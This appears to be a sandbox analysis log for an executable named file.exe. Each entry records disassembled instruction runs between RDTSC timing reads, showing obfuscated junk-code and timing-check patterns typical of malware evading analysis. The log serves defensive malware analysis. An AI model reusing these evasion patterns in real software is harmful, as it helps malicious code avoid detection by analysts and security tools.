Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14096AC second address: 1409752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FDA8CCCE535h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e call 00007FDA8CCCE537h 0x00000013 sub dword ptr [ebp+122D1C3Ah], eax 0x00000019 pop edi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FDA8CCCE528h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FDA8CCCE528h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D2E3Ah], esi 0x00000058 push eax 0x00000059 pushad 0x0000005a jmp 00007FDA8CCCE537h 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A095 second address: 140A09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BE43 second address: 140BE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDA8CCCE534h 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007FDA8CCCE526h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CF77 second address: 140D010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FDA8CCA1268h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1ACDh], esi 0x0000002e jmp 00007FDA8CCA1272h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FDA8CCA1268h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f jmp 00007FDA8CCA126Ah 0x00000054 mov dword ptr [ebp+122D3096h], eax 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CCF7 second address: 140CCFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CCFB second address: 140CD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CD01 second address: 140CD1B instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA8CCCE52Ch 0x00000008 jbe 00007FDA8CCCE526h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140DA63 second address: 140DA7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140DA7F second address: 140DADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FDA8CCCE52Dh 0x0000000c nop 0x0000000d jmp 00007FDA8CCCE52Ah 0x00000012 push 00000000h 0x00000014 jmp 00007FDA8CCCE52Ah 0x00000019 mov edi, 5BDD79E9h 0x0000001e push 00000000h 0x00000020 jng 00007FDA8CCCE530h 0x00000026 jo 00007FDA8CCCE52Ah 0x0000002c mov si, F593h 0x00000030 cld 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 push esi 0x00000034 pushad 0x00000035 popad 0x00000036 pop esi 0x00000037 push eax 0x00000038 pushad 0x00000039 popad 0x0000003a pop eax 0x0000003b popad 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FDA8CCCE52Dh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412617 second address: 1412621 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14126C1 second address: 14126C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415856 second address: 141585B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141585B second address: 141589F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 cld 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FDA8CCCE528h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 movsx ebx, bx 0x00000028 adc di, DF70h 0x0000002d push 00000000h 0x0000002f jnc 00007FDA8CCCE52Bh 0x00000035 mov edi, 5CB68DCEh 0x0000003a xchg eax, esi 0x0000003b push edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141589F second address: 14158A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14138FA second address: 1413904 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413904 second address: 141390B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141779E second address: 14177CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007FDA8CCCE52Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141856B second address: 1418571 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418571 second address: 1418576 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418576 second address: 1418596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDA8CCA1276h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418596 second address: 14185F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FDA8CCCE528h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FDA8CCCE528h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f or dword ptr [ebp+1246FD4Dh], esi 0x00000045 push 00000000h 0x00000047 mov bh, AEh 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14185F2 second address: 141860C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDA8CCA1273h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A08 second address: 1416A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A0C second address: 1416A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14194F7 second address: 1419511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA8CCCE532h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419511 second address: 141951F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141951F second address: 141952D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A4B7 second address: 141A4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14197A2 second address: 14197AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A4C2 second address: 141A528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ebx 0x00000009 popad 0x0000000a nop 0x0000000b jnc 00007FDA8CCA126Ch 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FDA8CCA1268h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D35AFh] 0x00000033 push 00000000h 0x00000035 jmp 00007FDA8CCA1270h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FDA8CCA1273h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B3A2 second address: 141B40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007FDA8CCCE52Ch 0x0000000c nop 0x0000000d mov dword ptr [ebp+124721FAh], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FDA8CCCE528h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov di, 5EB6h 0x00000033 mov di, si 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007FDA8CCCE528h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 or dword ptr [ebp+1246EBD4h], edi 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B40D second address: 141B411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E6F8 second address: 141E762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA8CCCE52Bh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FDA8CCCE528h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov bx, 0EEDh 0x0000002c push 00000000h 0x0000002e jmp 00007FDA8CCCE52Fh 0x00000033 mov ebx, edi 0x00000035 push 00000000h 0x00000037 add bx, 3844h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FDA8CCCE537h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F64F second address: 141F66C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C68F second address: 141C728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jg 00007FDA8CCCE526h 0x0000000b pop ebx 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FDA8CCCE528h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov di, 4A59h 0x0000002c push dword ptr fs:[00000000h] 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FDA8CCCE528h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d stc 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 jmp 00007FDA8CCCE52Dh 0x0000005a mov eax, dword ptr [ebp+122D12F5h] 0x00000060 mov bx, 7A43h 0x00000064 push FFFFFFFFh 0x00000066 mov dword ptr [ebp+122D29FFh], edi 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f jnl 00007FDA8CCCE52Ch 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C728 second address: 141C72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C72E second address: 141C732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14207CB second address: 14207CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F84A second address: 141F85E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA8CCCE530h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142172D second address: 1421732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421732 second address: 142174C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA8CCCE535h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6552 second address: 13C6558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428ECB second address: 1428EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FDA8CCCE526h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FDA8CCCE532h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428EDF second address: 1428EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E256 second address: 142E25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E25D second address: 142E263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E263 second address: 142E278 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007FDA8CCCE526h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431DD9 second address: 1431DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431DDE second address: 1431DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDA8CCCE526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431DE8 second address: 1431E19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA126Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FDA8CCA127Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431E19 second address: 1431E24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FDA8CCCE526h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431FC9 second address: 1431FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A0C9 second address: 143A0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007FDA8CCCE526h 0x0000000c jbe 00007FDA8CCCE526h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A0DC second address: 143A0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA8CCA1272h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A0F3 second address: 143A0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438D81 second address: 1438D98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA8CCA126Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14397FE second address: 143980C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDA8CCCE526h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14399C1 second address: 14399DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jbe 00007FDA8CCA1266h 0x0000000e js 00007FDA8CCA1266h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14399DA second address: 14399DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14399DE second address: 14399E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439B50 second address: 1439B68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439DE6 second address: 1439DEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439F58 second address: 1439F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439F5C second address: 1439F6B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FDA8CCA1266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439F6B second address: 1439F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 jmp 00007FDA8CCCE539h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439F91 second address: 1439F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1439F9E second address: 1439FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDA8CCCE526h 0x0000000a jnl 00007FDA8CCCE526h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F5E6 second address: 140F654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FDA8CCA1266h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jc 00007FDA8CCA126Ah 0x00000015 push edi 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 nop 0x0000001a mov edi, 52B380C6h 0x0000001f mov dword ptr [ebp+122D1907h], ecx 0x00000025 lea eax, dword ptr [ebp+1248141Ah] 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FDA8CCA1268h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 sub ecx, dword ptr [ebp+122D3124h] 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 jmp 00007FDA8CCA1277h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F654 second address: 13EA8B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE535h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FDA8CCCE52Ch 0x00000011 jmp 00007FDA8CCCE531h 0x00000016 pop edx 0x00000017 call dword ptr [ebp+1245785Ah] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FDA8CCCE536h 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 jmp 00007FDA8CCCE530h 0x0000002c push edi 0x0000002d pop edi 0x0000002e popad 0x0000002f jmp 00007FDA8CCCE52Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F77A second address: 140F79B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDA8CCA1271h 0x0000000d jo 00007FDA8CCA126Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FD5D second address: 140FD67 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
